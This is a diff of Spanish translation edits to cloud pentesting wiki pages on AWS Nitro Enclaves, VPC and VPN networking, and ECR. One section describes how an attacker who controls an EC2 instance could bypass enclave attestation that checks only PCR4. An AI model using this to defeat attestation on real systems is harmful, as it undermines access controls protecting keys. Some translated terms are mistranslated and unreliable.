+56,12 @@ Enclave Image successfully created. ``` ### Ejecutar una Imagen -Según [**la documentación**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), para ejecutar una imagen de enclave necesitas asignarle memoria de **al menos 4 veces el tamaño del archivo `eif`**. Es posible configurar los recursos predeterminados que se le asignarán en el archivo. +Según [**la documentación**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), para ejecutar una imagen de enclave necesitas asignarle una memoria de **al menos 4 veces el tamaño del archivo `eif`**. Es posible configurar los recursos predeterminados que se le asignarán en el archivo. ```shell /etc/nitro_enclaves/allocator.yaml ``` > [!CAUTION] -> ¡Recuerda siempre que necesitas **reservar algunos recursos para la instancia EC2** principal también! +> ¡Recuerda siempre que necesitas **reservar algunos recursos para la instancia EC2** padre también! Después de conocer los recursos que se deben asignar a una imagen e incluso haber modificado el archivo de configuración, es posible ejecutar una imagen de enclave con: ```shell @@ -198,7 +198,7 @@ echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` ### Vsock Proxy -La herramienta vsock-proxy permite hacer proxy a un proxy vsock con otra dirección, por ejemplo: +La herramienta vsock-proxy permite hacer proxy de un vsock proxy con otra dirección, por ejemplo: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` @@ -214,11 +214,11 @@ v_str LISTEN 0 0 ``` ## Atestación de Nitro Enclave y KMS -El SDK de Nitro Enclaves permite a una enclave solicitar un **documento de atestación firmado criptográficamente** del **Hypervisor** de Nitro, que incluye **mediciones únicas** específicas para esa enclave. Estas mediciones, que incluyen **hashes y registros de configuración de plataforma (PCRs)**, se utilizan durante el proceso de atestación para **probar la identidad de la enclave** y **generar confianza con servicios externos**. El documento de atestación típicamente contiene valores como PCR0, PCR1 y PCR2, que has encontrado antes al construir y guardar un EIF de enclave. +El SDK de Nitro Enclaves permite a una enclave solicitar un **documento de atestación firmado criptográficamente** del **Hypervisor** de Nitro, que incluye **mediciones únicas** específicas de esa enclave. Estas mediciones, que incluyen **hashes y registros de configuración de plataforma (PCRs)**, se utilizan durante el proceso de atestación para **probar la identidad de la enclave** y **generar confianza con servicios externos**. El documento de atestación típicamente contiene valores como PCR0, PCR1 y PCR2, que ya has encontrado antes al construir y guardar un EIF de enclave. De los [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), estos son los valores de PCR: -
PCRHash de ...Descripción
PCR0Archivo de imagen de enclaveUna medida contigua del contenido del archivo de imagen, sin los datos de sección.
PCR1Núcleo de Linux y arranqueUna medición contigua de los datos del núcleo y del ramfs de arranque.
PCR2AplicaciónUna medición contigua y en orden de las aplicaciones de usuario, sin el ramfs de arranque.
PCR3Rol de IAM asignado a la instancia padreUna medición contigua del rol de IAM asignado a la instancia padre. Asegura que el proceso de atestación tenga éxito solo cuando la instancia padre tenga el rol de IAM correcto.
PCR4ID de instancia de la instancia padreUna medición contigua del ID de la instancia padre. Asegura que el proceso de atestación tenga éxito solo cuando la instancia padre tenga un ID de instancia específico.
PCR8Certificado de firma del archivo de imagen de enclaveUna medida del certificado de firma especificado para el archivo de imagen de enclave. Asegura que el proceso de atestación tenga éxito solo cuando la enclave se haya iniciado desde un archivo de imagen de enclave firmado por un certificado específico.
+
PCRHash de ...Descripción
PCR0Archivo de imagen de enclaveUna medida contigua del contenido del archivo de imagen, sin los datos de sección.
PCR1Núcleo de Linux y bootstrapUna medición contigua de los datos del núcleo y del ramfs de arranque.
PCR2AplicaciónUna medición contigua y en orden de las aplicaciones de usuario, sin el ramfs de arranque.
PCR3Rol de IAM asignado a la instancia principalUna medición contigua del rol de IAM asignado a la instancia principal. Asegura que el proceso de atestación tenga éxito solo cuando la instancia principal tenga el rol de IAM correcto.
PCR4ID de instancia de la instancia principalUna medición contigua del ID de la instancia principal. Asegura que el proceso de atestación tenga éxito solo cuando la instancia principal tenga un ID de instancia específico.
PCR8Certificado de firma del archivo de imagen de enclaveUna medida del certificado de firma especificado para el archivo de imagen de enclave. Asegura que el proceso de atestación tenga éxito solo cuando la enclave se haya iniciado desde un archivo de imagen de enclave firmado por un certificado específico.
Puedes integrar **atestación criptográfica** en tus aplicaciones y aprovechar integraciones preconstruidas con servicios como **AWS KMS**. AWS KMS puede **validar atestaciones de enclave** y ofrece claves de condición basadas en atestación (`kms:RecipientAttestation:ImageSha384` y `kms:RecipientAttestation:PCR`) en sus políticas de clave. Estas políticas aseguran que AWS KMS permite operaciones utilizando la clave KMS **solo si el documento de atestación de la enclave es válido** y cumple con las **condiciones especificadas**. @@ -227,7 +227,7 @@ Puedes integrar **atestación criptográfica** en tus aplicaciones y aprovechar ### Bypass de PCR -Desde la perspectiva de un atacante, observa que algunos PCRs permitirían modificar algunas partes o toda la imagen de enclave y seguirían siendo válidos (por ejemplo, PCR4 solo verifica el ID de la instancia padre, por lo que ejecutar cualquier imagen de enclave en esa EC2 permitirá cumplir con este posible requisito de PCR). +Desde la perspectiva de un atacante, observa que algunos PCRs permitirían modificar algunas partes o toda la imagen de enclave y seguirían siendo válidos (por ejemplo, PCR4 solo verifica el ID de la instancia principal, por lo que ejecutar cualquier imagen de enclave en esa EC2 permitirá cumplir con este posible requisito de PCR). Por lo tanto, un atacante que comprometa la instancia EC2 podría ser capaz de ejecutar otras imágenes de enclave para eludir estas protecciones. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 868130111..ec927ab67 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -1,12 +1,12 @@ -# AWS - VPC & Networking Basic Information +# AWS - VPC & Networking Información Básica {{#include ../../../../banners/hacktricks-training.md}} -## AWS Networking in a Nutshell +## AWS Networking en Resumen Una **VPC** contiene un **CIDR de red** como 10.0.0.0/16 (con su **tabla de enrutamiento** y **ACL de red**). -Esta red VPC se divide en **subredes**, por lo que una **subred** está directamente **relacionada** con la **VPC**, la **tabla de enrutamiento** y la **ACL de red**. +Esta red VPC se divide en **subredes**, por lo que una **subred** está directamente **relacionada** con la **VPC**, **tabla de enrutamiento** y **ACL de red**. Luego, las **Interfaces de Red** adjuntas a servicios (como instancias EC2) están **conectadas** a las **subredes** con **grupo(s) de seguridad**. @@ -19,7 +19,7 @@ Además, para **acceder a Internet**, hay algunas configuraciones interesantes a - Un **gateway de Internet** debe estar **adjunto** a la **VPC** - También podrías usar **gateways de internet solo de salida** - También podrías tener un **gateway NAT** en una **subred privada** para que sea posible **conectarse a servicios externos** desde esa subred privada, pero **no es posible alcanzarlos desde el exterior**. -- El gateway NAT puede ser **público** (acceso a Internet) o **privado** (acceso a otras VPCs) +- El gateway NAT puede ser **público** (acceso a internet) o **privado** (acceso a otras VPCs) ![](<../../../../images/image (274).png>) @@ -27,9 +27,9 @@ Además, para **acceder a Internet**, hay algunas configuraciones interesantes a Amazon **Virtual Private Cloud** (Amazon VPC) te permite **lanzar recursos de AWS en una red virtual** que has definido. Esta red virtual tendrá varias subredes, Gateways de Internet para acceder a Internet, ACLs, Grupos de seguridad, IPs... -### Subnets +### Subredes -Las subredes ayudan a imponer un mayor nivel de seguridad. **La agrupación lógica de recursos similares** también te ayuda a mantener una **facilidad de gestión** en tu infraestructura. +Las subredes ayudan a imponer un mayor nivel de seguridad. **Agrupación lógica de recursos similares** también te ayuda a mantener una **facilidad de gestión** en tu infraestructura. - Los CIDR válidos son desde una máscara de red /16 hasta una máscara de red /28. - Una subred no puede estar en diferentes zonas de disponibilidad al mismo tiempo. @@ -40,14 +40,14 @@ Las subredes ayudan a imponer un mayor nivel de seguridad. **La agrupación lóg
-### Route Tables +### Tablas de Rutas -Las tablas de enrutamiento determinan el enrutamiento del tráfico para una subred dentro de una VPC. Determinan qué tráfico de red se reenvía a Internet o a una conexión VPN. Normalmente encontrarás acceso a: +Las tablas de rutas determinan el enrutamiento del tráfico para una subred dentro de una VPC. Determinan qué tráfico de red se reenvía a internet o a una conexión VPN. Normalmente encontrarás acceso a: - VPC local - NAT -- Gateways de Internet / Gateways de Internet solo de salida (necesarios para dar acceso a la VPC a Internet). -- Para hacer que una subred sea pública, necesitas **crear** y **adjuntar** un **gateway de Internet** a tu VPC. +- Gateways de Internet / gateways de internet solo de salida (necesarios para dar acceso a la VPC a Internet). +- Para hacer pública una subred, necesitas **crear** y **adjuntar** un **gateway de Internet** a tu VPC. - Puntos finales de VPC (para acceder a S3 desde redes privadas) En las siguientes imágenes puedes verificar las diferencias en una red pública predeterminada y una privada: @@ -60,48 +60,48 @@ En las siguientes imágenes puedes verificar las diferencias en una red pública **Listas de Control de Acceso de Red (ACLs)**: Las ACL de red son reglas de firewall que controlan el tráfico de red entrante y saliente a una subred. Pueden ser utilizadas para permitir o denegar tráfico a direcciones IP o rangos específicos. -- Es más frecuente permitir/denegar acceso utilizando grupos de seguridad, pero esta es la única forma de cortar completamente shells reversos establecidos. Una regla modificada en un grupo de seguridad no detiene las conexiones ya establecidas. +- Es más frecuente permitir/denegar acceso usando grupos de seguridad, pero esta es la única forma de cortar completamente shells reversos establecidos. Una regla modificada en un grupo de seguridad no detiene las conexiones ya establecidas. - Sin embargo, esto se aplica a toda la subred, ten cuidado al prohibir cosas porque la funcionalidad necesaria podría verse afectada. -### Security Groups +### Grupos de Seguridad -Los grupos de seguridad son un **firewall** virtual que controla el tráfico de red **entrante y saliente a las instancias** en una VPC. Relación 1 SG a M instancias (generalmente 1 a 1).\ +Los grupos de seguridad son un **firewall** virtual que controla el tráfico de red **entrante y saliente a instancias** en una VPC. Relación 1 SG a M instancias (generalmente 1 a 1).\ Normalmente se utiliza para abrir puertos peligrosos en instancias, como el puerto 22, por ejemplo:
-### Elastic IP Addresses +### Direcciones IP Elásticas -Una _dirección IP elástica_ es una **dirección IPv4 estática** diseñada para la computación en la nube dinámica. Una dirección IP elástica se asigna a tu cuenta de AWS y es tuya hasta que la liberes. Al usar una dirección IP elástica, puedes enmascarar la falla de una instancia o software al reasignar rápidamente la dirección a otra instancia en tu cuenta. +Una _Dirección IP Elástica_ es una **dirección IPv4 estática** diseñada para la computación en la nube dinámica. Una Dirección IP Elástica se asigna a tu cuenta de AWS y es tuya hasta que la liberes. Al usar una Dirección IP Elástica, puedes enmascarar la falla de una instancia o software al reasignar rápidamente la dirección a otra instancia en tu cuenta. -### Connection between subnets +### Conexión entre subredes Por defecto, todas las subredes tienen la **asignación automática de direcciones IP públicas desactivada**, pero se puede activar. -**Una ruta local dentro de una tabla de enrutamiento permite la comunicación entre subredes de VPC.** +**Una ruta local dentro de una tabla de rutas permite la comunicación entre subredes de VPC.** -Si estás **conectando una subred con otra subred diferente, no puedes acceder a las subredes conectadas** con la otra subred, necesitas crear conexión con ellas directamente. **Esto también se aplica a los gateways de internet**. No puedes pasar a través de una conexión de subred para acceder a Internet, necesitas asignar el gateway de internet a tu subred. +Si estás **conectando una subred con otra subred diferente, no puedes acceder a las subredes conectadas** con la otra subred, necesitas crear conexión con ellas directamente. **Esto también se aplica a los gateways de internet**. No puedes pasar a través de una conexión de subred para acceder a internet, necesitas asignar el gateway de internet a tu subred. -### VPC Peering +### Emparejamiento de VPC -El emparejamiento de VPC permite **conectar dos o más VPCs juntas**, utilizando IPV4 o IPV6, como si fueran parte de la misma red. +El emparejamiento de VPC te permite **conectar dos o más VPCs juntas**, usando IPV4 o IPV6, como si fueran parte de la misma red. Una vez que se establece la conectividad de emparejamiento, **los recursos en una VPC pueden acceder a los recursos en la otra**. La conectividad entre las VPCs se implementa a través de la infraestructura de red existente de AWS, por lo que es altamente disponible sin cuellos de botella de ancho de banda. Como **las conexiones emparejadas operan como si fueran parte de la misma red**, hay restricciones en cuanto a los rangos de bloques CIDR que se pueden utilizar.\ Si tienes rangos CIDR **superpuestos o duplicados** para tu VPC, entonces **no podrás emparejar las VPCs**.\ -Cada VPC de AWS **solo se comunicará con su par**. Como ejemplo, si tienes una conexión de emparejamiento entre VPC 1 y VPC 2, y otra conexión entre VPC 2 y VPC 3 como se muestra, entonces VPC 1 y 2 podrían comunicarse entre sí directamente, al igual que VPC 2 y VPC 3, sin embargo, VPC 1 y VPC 3 no podrían. **No puedes enrutar a través de una VPC para llegar a otra.** +Cada VPC de AWS **solo se comunicará con su par**. Por ejemplo, si tienes una conexión de emparejamiento entre VPC 1 y VPC 2, y otra conexión entre VPC 2 y VPC 3 como se muestra, entonces VPC 1 y 2 podrían comunicarse entre sí directamente, al igual que VPC 2 y VPC 3, sin embargo, VPC 1 y VPC 3 no podrían. **No puedes enrutar a través de una VPC para llegar a otra.** -### **VPC Flow Logs** +### **Registros de Flujo de VPC** -Dentro de tu VPC, podrías tener potencialmente cientos o incluso miles de recursos comunicándose entre diferentes subredes tanto públicas como privadas y también entre diferentes VPCs a través de conexiones de emparejamiento de VPC. **Los VPC Flow Logs te permiten capturar información del tráfico IP que fluye entre las interfaces de red de tus recursos dentro de tu VPC**. +Dentro de tu VPC, podrías tener potencialmente cientos o incluso miles de recursos comunicándose entre diferentes subredes tanto públicas como privadas y también entre diferentes VPCs a través de conexiones de emparejamiento de VPC. **Los Registros de Flujo de VPC te permiten capturar información del tráfico IP que fluye entre las interfaces de red de tus recursos dentro de tu VPC**. -A diferencia de los registros de acceso de S3 y los registros de acceso de CloudFront, los **datos de registro generados por los VPC Flow Logs no se almacenan en S3. En su lugar, los datos de registro capturados se envían a los registros de CloudWatch**. +A diferencia de los registros de acceso de S3 y los registros de acceso de CloudFront, los **datos de registro generados por los Registros de Flujo de VPC no se almacenan en S3. En su lugar, los datos de registro capturados se envían a los registros de CloudWatch**. Limitaciones: - Si estás ejecutando una conexión de emparejamiento de VPC, entonces solo podrás ver los registros de flujo de las VPCs emparejadas que están dentro de la misma cuenta. - Si aún estás ejecutando recursos dentro del entorno EC2-Classic, entonces, desafortunadamente, no podrás recuperar información de sus interfaces. -- Una vez que se ha creado un VPC Flow Log, no se puede cambiar. Para alterar la configuración del VPC Flow Log, necesitas eliminarlo y luego recrear uno nuevo. -- El siguiente tráfico no es monitoreado ni capturado por los registros. Tráfico DHCP dentro de la VPC, tráfico de instancias destinado al servidor DNS de Amazon. +- Una vez que se ha creado un Registro de Flujo de VPC, no se puede cambiar. Para alterar la configuración del Registro de Flujo de VPC, necesitas eliminarlo y luego recrear uno nuevo. +- El siguiente tráfico no es monitoreado ni capturado por los registros. Tráfico DHCP dentro de la VPC, tráfico de instancias destinado al Servidor DNS de Amazon. - Cualquier tráfico destinado a la dirección IP del enrutador predeterminado de la VPC y tráfico hacia y desde las siguientes direcciones, 169.254.169.254 que se utiliza para recopilar metadatos de instancias, y 169.254.169.123 que se utiliza para el Servicio de Sincronización de Tiempo de Amazon. - Tráfico relacionado con una licencia de activación de Windows de una instancia de Windows. - Tráfico entre una interfaz de balanceador de carga de red y una interfaz de red de punto final. @@ -110,30 +110,30 @@ Para cada interfaz de red que publica datos en el grupo de registros de CloudWat ## VPN -### Basic AWS VPN Components +### Componentes Básicos de AWS VPN -1. **Customer Gateway**: -- Un Customer Gateway es un recurso que creas en AWS para representar tu lado de una conexión VPN. -- Es esencialmente un dispositivo físico o una aplicación de software en tu lado de la conexión VPN Site-to-Site. -- Proporcionas información de enrutamiento y la dirección IP pública de tu dispositivo de red (como un enrutador o un firewall) a AWS para crear un Customer Gateway. +1. **Gateway del Cliente**: +- Un Gateway del Cliente es un recurso que creas en AWS para representar tu lado de una conexión VPN. +- Es esencialmente un dispositivo físico o una aplicación de software en tu lado de la conexión VPN de Sitio a Sitio. +- Proporcionas información de enrutamiento y la dirección IP pública de tu dispositivo de red (como un enrutador o un firewall) a AWS para crear un Gateway del Cliente. - Sirve como un punto de referencia para configurar la conexión VPN y no incurre en cargos adicionales. -2. **Virtual Private Gateway**: -- Un Virtual Private Gateway (VPG) es el concentrador VPN en el lado de Amazon de la conexión VPN Site-to-Site. +2. **Gateway Virtual Privado**: +- Un Gateway Virtual Privado (VPG) es el concentrador VPN en el lado de Amazon de la conexión VPN de Sitio a Sitio. - Está adjunto a tu VPC y sirve como el objetivo para tu conexión VPN. - VPG es el punto final del lado de AWS para la conexión VPN. - Maneja la comunicación segura entre tu VPC y tu red local. -3. **Site-to-Site VPN Connection**: -- Una conexión VPN Site-to-Site conecta tu red local a una VPC a través de un túnel VPN IPsec seguro. -- Este tipo de conexión requiere un Customer Gateway y un Virtual Private Gateway. +3. **Conexión VPN de Sitio a Sitio**: +- Una conexión VPN de Sitio a Sitio conecta tu red local a una VPC a través de un túnel VPN IPsec seguro. +- Este tipo de conexión requiere un Gateway del Cliente y un Gateway Virtual Privado. - Se utiliza para una comunicación segura, estable y consistente entre tu centro de datos o red y tu entorno de AWS. - Típicamente se utiliza para conexiones regulares y a largo plazo y se factura según la cantidad de datos transferidos a través de la conexión. -4. **Client VPN Endpoint**: -- Un endpoint de Client VPN es un recurso que creas en AWS para habilitar y gestionar sesiones de VPN de cliente. -- Se utiliza para permitir que dispositivos individuales (como laptops, teléfonos inteligentes, etc.) se conecten de forma segura a recursos de AWS o a tu red local. -- Se diferencia de Site-to-Site VPN en que está diseñado para clientes individuales en lugar de conectar redes completas. -- Con Client VPN, cada dispositivo cliente utiliza un software de cliente VPN para establecer una conexión segura. +4. **Punto Final de VPN del Cliente**: +- Un punto final de VPN del Cliente es un recurso que creas en AWS para habilitar y gestionar sesiones de VPN del cliente. +- Se utiliza para permitir que dispositivos individuales (como laptops, smartphones, etc.) se conecten de forma segura a recursos de AWS o a tu red local. +- Se diferencia de la VPN de Sitio a Sitio en que está diseñado para clientes individuales en lugar de conectar redes enteras. +- Con la VPN del Cliente, cada dispositivo cliente utiliza un software cliente VPN para establecer una conexión segura. -### Site-to-Site VPN +### VPN de Sitio a Sitio **Conecta tu red local con tu VPC.** @@ -142,48 +142,48 @@ Para cada interfaz de red que publica datos en el grupo de registros de CloudWat Cada conexión VPN incluye dos túneles VPN que puedes usar simultáneamente para alta disponibilidad. -- **Customer gateway**: Un recurso de AWS que proporciona información a AWS sobre tu dispositivo de gateway de cliente. -- **Customer gateway device**: Un dispositivo físico o una aplicación de software en tu lado de la conexión VPN Site-to-Site. -- **Virtual private gateway**: El concentrador VPN en el lado de Amazon de la conexión VPN Site-to-Site. Utilizas un gateway privado virtual o un gateway de tránsito como el gateway para el lado de Amazon de la conexión VPN Site-to-Site. -- **Transit gateway**: Un hub de tránsito que se puede utilizar para interconectar tus VPCs y redes locales. Utilizas un gateway de tránsito o un gateway privado virtual como el gateway para el lado de Amazon de la conexión VPN Site-to-Site. +- **Gateway del cliente**: Un recurso de AWS que proporciona información a AWS sobre tu dispositivo de gateway del cliente. +- **Dispositivo de gateway del cliente**: Un dispositivo físico o una aplicación de software en tu lado de la conexión VPN de Sitio a Sitio. +- **Gateway virtual privado**: El concentrador VPN en el lado de Amazon de la conexión VPN de Sitio a Sitio. Utilizas un gateway virtual privado o un gateway de tránsito como el gateway para el lado de Amazon de la conexión VPN de Sitio a Sitio. +- **Gateway de tránsito**: Un hub de tránsito que se puede utilizar para interconectar tus VPCs y redes locales. Utilizas un gateway de tránsito o un gateway virtual privado como el gateway para el lado de Amazon de la conexión VPN de Sitio a Sitio. -#### Limitations +#### Limitaciones -- El tráfico IPv6 no es compatible con conexiones VPN en un gateway privado virtual. -- Una conexión VPN de AWS no admite el descubrimiento de Path MTU. +- El tráfico IPv6 no es compatible con conexiones VPN en un gateway virtual privado. +- Una conexión VPN de AWS no admite el descubrimiento de MTU de ruta. -Además, ten en cuenta lo siguiente cuando utilices Site-to-Site VPN. +Además, ten en cuenta lo siguiente cuando utilices VPN de Sitio a Sitio. - Al conectar tus VPCs a una red local común, recomendamos que utilices bloques CIDR no superpuestos para tus redes. -### Client VPN +### VPN del Cliente **Conéctate desde tu máquina a tu VPC** -#### Concepts +#### Conceptos -- **Client VPN endpoint:** El recurso que creas y configuras para habilitar y gestionar sesiones de VPN de cliente. Es el recurso donde se terminan todas las sesiones de VPN de cliente. -- **Target network:** Una red objetivo es la red que asocias con un endpoint de Client VPN. **Una subred de una VPC es una red objetivo**. Asociar una subred con un endpoint de Client VPN te permite establecer sesiones de VPN. Puedes asociar múltiples subredes con un endpoint de Client VPN para alta disponibilidad. Todas las subredes deben ser de la misma VPC. Cada subred debe pertenecer a una zona de disponibilidad diferente. -- **Route**: Cada endpoint de Client VPN tiene una tabla de enrutamiento que describe las rutas de red de destino disponibles. Cada ruta en la tabla de enrutamiento especifica el camino para el tráfico hacia recursos o redes específicas. -- **Authorization rules:** Una regla de autorización **restringe a los usuarios que pueden acceder a una red**. Para una red especificada, configuras el grupo de Active Directory o proveedor de identidad (IdP) que tiene permitido el acceso. Solo los usuarios que pertenecen a este grupo pueden acceder a la red especificada. **Por defecto, no hay reglas de autorización** y debes configurar reglas de autorización para habilitar a los usuarios a acceder a recursos y redes. -- **Client:** El usuario final que se conecta al endpoint de Client VPN para establecer una sesión de VPN. Los usuarios finales necesitan descargar un cliente OpenVPN y usar el archivo de configuración del Client VPN que creaste para establecer una sesión de VPN. -- **Client CIDR range:** Un rango de direcciones IP del cual asignar direcciones IP de cliente. Cada conexión al endpoint de Client VPN se le asigna una dirección IP única del rango CIDR de cliente. Tú eliges el rango CIDR de cliente, por ejemplo, `10.2.0.0/16`. -- **Client VPN ports:** AWS Client VPN admite los puertos 443 y 1194 tanto para TCP como para UDP. El predeterminado es el puerto 443. -- **Client VPN network interfaces:** Cuando asocias una subred con tu endpoint de Client VPN, creamos interfaces de red de Client VPN en esa subred. **El tráfico que se envía a la VPC desde el endpoint de Client VPN se envía a través de una interfaz de red de Client VPN**. Luego se aplica la traducción de dirección de red de origen (SNAT), donde la dirección IP de origen del rango CIDR de cliente se traduce a la dirección IP de la interfaz de red de Client VPN. -- **Connection logging:** Puedes habilitar el registro de conexiones para tu endpoint de Client VPN para registrar eventos de conexión. Puedes usar esta información para realizar análisis forenses, analizar cómo se está utilizando tu endpoint de Client VPN o depurar problemas de conexión. -- **Self-service portal:** Puedes habilitar un portal de autoservicio para tu endpoint de Client VPN. Los clientes pueden iniciar sesión en el portal basado en la web utilizando sus credenciales y descargar la última versión del archivo de configuración del endpoint de Client VPN, o la última versión del cliente proporcionado por AWS. +- **Punto final de VPN del Cliente:** El recurso que creas y configuras para habilitar y gestionar sesiones de VPN del cliente. Es el recurso donde se terminan todas las sesiones de VPN del cliente. +- **Red objetivo:** Una red objetivo es la red que asocias con un punto final de VPN del Cliente. **Una subred de una VPC es una red objetivo**. Asociar una subred con un punto final de VPN del Cliente te permite establecer sesiones de VPN. Puedes asociar múltiples subredes con un punto final de VPN del Cliente para alta disponibilidad. Todas las subredes deben ser de la misma VPC. Cada subred debe pertenecer a una zona de disponibilidad diferente. +- **Ruta**: Cada punto final de VPN del Cliente tiene una tabla de rutas que describe las rutas de red de destino disponibles. Cada ruta en la tabla de rutas especifica el camino para el tráfico hacia recursos o redes específicas. +- **Reglas de autorización:** Una regla de autorización **restringe a los usuarios que pueden acceder a una red**. Para una red especificada, configuras el grupo de Active Directory o proveedor de identidad (IdP) que tiene permitido el acceso. Solo los usuarios que pertenecen a este grupo pueden acceder a la red especificada. **Por defecto, no hay reglas de autorización** y debes configurar reglas de autorización para habilitar a los usuarios a acceder a recursos y redes. +- **Cliente:** El usuario final que se conecta al punto final de VPN del Cliente para establecer una sesión de VPN. Los usuarios finales necesitan descargar un cliente OpenVPN y usar el archivo de configuración de VPN del Cliente que creaste para establecer una sesión de VPN. +- **Rango CIDR del Cliente:** Un rango de direcciones IP del cual asignar direcciones IP a los clientes. Cada conexión al punto final de VPN del Cliente se le asigna una dirección IP única del rango CIDR del cliente. Tú eliges el rango CIDR del cliente, por ejemplo, `10.2.0.0/16`. +- **Puertos de VPN del Cliente:** AWS Client VPN admite puertos 443 y 1194 tanto para TCP como para UDP. El predeterminado es el puerto 443. +- **Interfaces de red de VPN del Cliente:** Cuando asocias una subred con tu punto final de VPN del Cliente, creamos interfaces de red de VPN del Cliente en esa subred. **El tráfico que se envía a la VPC desde el punto final de VPN del Cliente se envía a través de una interfaz de red de VPN del Cliente**. Luego se aplica la traducción de dirección de red de origen (SNAT), donde la dirección IP de origen del rango CIDR del cliente se traduce a la dirección IP de la interfaz de red de VPN del Cliente. +- **Registro de conexiones:** Puedes habilitar el registro de conexiones para tu punto final de VPN del Cliente para registrar eventos de conexión. Puedes usar esta información para realizar análisis forenses, analizar cómo se está utilizando tu punto final de VPN del Cliente o depurar problemas de conexión. +- **Portal de autoservicio:** Puedes habilitar un portal de autoservicio para tu punto final de VPN del Cliente. Los clientes pueden iniciar sesión en el portal basado en la web usando sus credenciales y descargar la última versión del archivo de configuración del punto final de VPN del Cliente, o la última versión del cliente proporcionado por AWS. -#### Limitations +#### Limitaciones -- **Los rangos CIDR de cliente no pueden superponerse con el CIDR local** de la VPC en la que se encuentra la subred asociada, o cualquier ruta añadida manualmente a la tabla de enrutamiento del endpoint de Client VPN. -- Los rangos CIDR de cliente deben tener un tamaño de bloque de al **menos /22** y **no deben ser mayores que /12.** -- Una **parte de las direcciones** en el rango CIDR de cliente se utilizan para **soportar el modelo de disponibilidad** del endpoint de Client VPN, y no pueden ser asignadas a clientes. Por lo tanto, recomendamos que **asignes un bloque CIDR que contenga el doble de la cantidad de direcciones IP que se requieren** para habilitar el número máximo de conexiones concurrentes que planeas soportar en el endpoint de Client VPN. -- El **rango CIDR de cliente no se puede cambiar** después de crear el endpoint de Client VPN. -- Las **subredes** asociadas con un endpoint de Client VPN **deben estar en la misma VPC**. -- No **puedes asociar múltiples subredes de la misma zona de disponibilidad con un endpoint de Client VPN**. -- Un endpoint de Client VPN **no admite asociaciones de subredes en una VPC de tenencia dedicada**. -- Client VPN admite **tráfico IPv4** únicamente. -- Client VPN **no** es compatible con los Estándares Federales de Procesamiento de Información (**FIPS**). +- **Los rangos CIDR del Cliente no pueden superponerse con el CIDR local** de la VPC en la que se encuentra la subred asociada, o cualquier ruta añadida manualmente a la tabla de rutas del punto final de VPN del Cliente. +- Los rangos CIDR del Cliente deben tener un tamaño de bloque de al **menos /22** y **no deben ser mayores que /12.** +- Una **parte de las direcciones** en el rango CIDR del cliente se utilizan para **soportar el modelo de disponibilidad** del punto final de VPN del Cliente, y no pueden ser asignadas a los clientes. Por lo tanto, recomendamos que **asignes un bloque CIDR que contenga el doble de la cantidad de direcciones IP que se requieren** para habilitar el máximo número de conexiones concurrentes que planeas soportar en el punto final de VPN del Cliente. +- El **rango CIDR del cliente no puede ser cambiado** después de crear el punto final de VPN del Cliente. +- Las **subredes** asociadas con un punto final de VPN del Cliente **deben estar en la misma VPC**. +- No **puedes asociar múltiples subredes de la misma Zona de Disponibilidad con un punto final de VPN del Cliente**. +- Un punto final de VPN del Cliente **no admite asociaciones de subredes en una VPC de tenencia dedicada**. +- La VPN del Cliente admite **tráfico IPv4** únicamente. +- La VPN del Cliente **no** es compatible con los Estándares Federales de Procesamiento de Información (**FIPS**). - Si la autenticación multifactor (MFA) está desactivada para tu Active Directory, una contraseña de usuario no puede estar en el siguiente formato. ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index a13bde73a..8d1550e55 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -19,31 +19,31 @@ Cada cuenta de AWS tiene 2 registros: **Privados** y **Públicos**. 1. **Registros Privados**: - **Privado por defecto**: Las imágenes de contenedor almacenadas en un registro privado de Amazon ECR son **accesibles solo para usuarios autorizados** dentro de su cuenta de AWS o para aquellos a quienes se les ha otorgado permiso. -- El URI de un **repositorio privado** sigue el formato `.dkr.ecr..amazonaws.com/` -- **Control de acceso**: Puede **controlar el acceso** a sus imágenes de contenedor privadas utilizando **políticas de IAM**, y puede configurar permisos detallados basados en usuarios o roles. +- La URI de un **repositorio privado** sigue el formato `.dkr.ecr..amazonaws.com/` +- **Control de acceso**: Puede **controlar el acceso** a sus imágenes de contenedor privadas utilizando **políticas de IAM**, y puede configurar permisos granulares basados en usuarios o roles. - **Integración con servicios de AWS**: Los registros privados de Amazon ECR se pueden **integrar fácilmente con otros servicios de AWS**, como EKS, ECS... - **Otras opciones de registro privado**: -- La columna de inmutabilidad de etiquetas lista su estado, si la inmutabilidad de etiquetas está habilitada, **evitará** que las **subidas** de imágenes con **etiquetas preexistentes** sobrescriban las imágenes. +- La columna de inmutabilidad de etiquetas lista su estado, si la inmutabilidad de etiquetas está habilitada, **prevendrá** que las **subidas** de imágenes con **etiquetas preexistentes** sobrescriban las imágenes. - La columna de **tipo de cifrado** lista las propiedades de cifrado del repositorio, muestra los tipos de cifrado predeterminados como AES-256, o tiene cifrados habilitados de **KMS**. -- La columna de **caché de extracción** lista su estado, si el estado de caché de extracción es Activo, almacenará en caché **repositorios en un repositorio público externo en su repositorio privado**. +- La columna de **caché de tirón** lista su estado, si el estado de caché de tirón es Activo, almacenará en caché **repositorios en un repositorio público externo en su repositorio privado**. - Se pueden configurar 